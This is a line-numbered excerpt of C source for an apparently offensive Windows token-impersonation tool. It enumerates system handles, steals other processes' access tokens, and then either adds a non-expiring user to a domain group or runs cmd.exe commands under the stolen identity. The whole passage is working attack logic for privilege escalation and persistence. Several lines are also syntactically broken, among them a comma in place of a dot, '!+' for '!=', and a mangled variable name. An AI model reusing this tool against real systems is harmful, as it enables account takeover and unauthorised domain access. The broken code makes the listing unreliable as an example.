277 | for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++)
278 | {
279 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
280 |
281 | HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
282 | if(process == INVALID_HANDLE_VALUE)
283 | {
284 | CloseHandle(process);
285 | continue;
286 | }
287 |
288 | HANDLE dupHandle;
289 | if(DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0)
290 | {
291 | CloseHandle(process);
292 | continue;
293 | }
294 |
295 | POBJECT_NAME_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);
296 | if(wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token"))
297 | {
298 | CloseHandle(process);
299 | CloseHandle(dupHandle);
300 | continue;
301 | }
302 |
303 | TOKEN TOKEN_INFO;
304 | TOKEN_INFO.token_handle = dupHandle;
305 | get_token_owner_info(&TOKEN_INFO);
306 | get_token_user_info(&TOKEN_INFO);
307 | get_token_information(&TOKEN_INFO);
308 |
309 | if(wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0)
310 | {
311 | get_token_security_context(&TOKEN_INFO);
312 | } else {
313 | wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L" ");
314 | }
315 |
316 | int is_new_token = 0;
317 | for (int j = 0; j <= nbrsfoundtokens; j++)
318 | {
319 | if(wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO,TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0)
320 | {
321 | is_new_token = 1;
322 | }
323 | }
324 | if(is_new_token == 0)
325 | {
326 | TOKEN_INFO.token_id = nbrsfoundtokens;
327 | found_tokens[nbrsfoundtokens] = TOKEN_INFO;
328 | nbrsfoundtokens += 1;
329 | }
330 |
331 | CloseHandle(process);
332 |
333 | }
334 |
335 | if(wcscmp(argv[1], L"list") == 0)
336 | {
337 | printf("\n+ Listing available tokens\n");
338 | for (int k = 0; k < nbrsfoundtokens; k++)
339 | {
340 | printf("[ID: %d][SESSION: %d][%ws][%ws] User: %ws\n", found_tokens[k].token_id, found_tokens[k].token_session_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].user_name);
341 |
342 | }
343 | }
344 |
345 | else if((wcscmp(argv[1]), L"adduser") == 0 && argc == 7 || (wcscmp(argv[1], L"exec") == 0 && argc == 4))
346 | {
347 | int selected_token = _wtoi(argv[2]);
348 | for (int k = 0; k < nbrsfoundtokens; k++)
349 | {
350 | if(found_tokens[k].token_id == selected_token)
351 | {
352 | HANDLE duplicated_token;
353 | if(DuplicateTokenEx(found_tokens[k].token_handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicated_token) != 0)
354 | {
355 | if(wcscmp(argv[1], L"adduser") == 0)
356 | {
357 | printf("\t+ Impersonating %ws\n", found_tokens[k].user_name);
358 | if(ImpersonateLoggedOnUser(duplicated_token) == 0)
359 | {
360 | printf("\t-Impersonation failed with error: %d\n", GetLastError());
361 | return 1;
362 | }
363 |
364 | wchar_t *group = argv[5];
365 | wchar_t *server = argv[6];
366 | USER_INFO_1 ui;
367 | LOCALGROUP_MEMBERS_INFO_3 account;
368 | memset(&ui, 0, sizeof(ui));
369 | memset(&account, 0, sizeof(account));
370 | ui.usri1_name = argv[3];
371 | ui.usri1_password = argv[4];
372 | ui.usri1_priv = USER_PRIV_USER;
373 | ui.usri1_home_dir = NULL;
374 | ui.usri1_comment = NULL;
375 | ui.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT | UF_DONT_EXPIRE_PASSWD;
376 | ui.usri1_script_path = NULL;
377 |
378 | printf("\t+ Adding user %ls on %ls\n", ui.usri1_name, server);
379 | if(NetUserAdd(server, 1, (LPBYTE)&ui, NULL) !+ NERR_Success)
380 | {
381 | printf("\t- Add user failed with error: %d\n", GetLastError());
382 | return 1;
383 | }
384 |
385 | printf("\t+ Adding user %ws to domain group %ws\n", ui.usri1_name, group);
386 | if(NetGroupAddUser(server, group, ui.usri1_name) != 0)
387 | {
388 | printf("\t- Add user in domain %ws failed with error: %d\n", server, GetLastError());
389 | return 1;
390 | }
391 | RevertToSelf();
392 | }
393 |
394 | if(wcscmp(argv[1], L"exec") == 0)
395 | {
396 | STARTUPINFO si = {};
397 | PROCESS_INFORMATION pi = {};
398 | wchar_t command[COMMAND_LENGHT];
399 | _snwprintf_s(command, COMMAND_LENGHT, L"cmd.exe /c %ws", argv[3]);
400 | if (integrity_level >= SECURITY_MANDATORY_SYSTEM_RID)
401 | {
402 | if(!SetTokenInformation(duplicated_token, TokenSessionId, ¤t_token_session_id, sizeof(DWORD)))
403 | {
404 | printf("\t- Couldnt change token session id w/ error: %d\n", GetLastError());
405 | }
406 |
407 | printf("\t+ Impersonating %ws and lauching command [%ws] via CreateProcessWithTokenW\n", found_tokens[k].user_name, command);
408 | CreateProcessAsUserW(duplicated_token, NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
409 | Sleep(2000);
410 | }
411 |
412 | if(integrity_level >= SECURITY_MANDATORY_HIGH_RID && integrity_level < SECURITY_MANDATORY_SYSTEM_RID)
413 | {
414 | printf("\t+ Impersonating %ws and lauching command [%ws] via CreateProcessWithTokenW\n", found_tokens[k].user_name, command);
415 | CreateProcessWithTokenW(duplicated_token, 0, NULL, command, 0, 0, 0, &si, &pi);
416 | }
417 | }
418 |
419 | CloseHandle(duplicated_token);
420 | } else {
421 | printf("- Duplication failed with error: %d\n", GetLastError());
422 | return 1;
423 | }
424 | }
425 | }
426 | } else {
427 | usage();
428 | }
429 |
430 | return 0;
431 | }
432 |
--------------------------------------------------------------------------------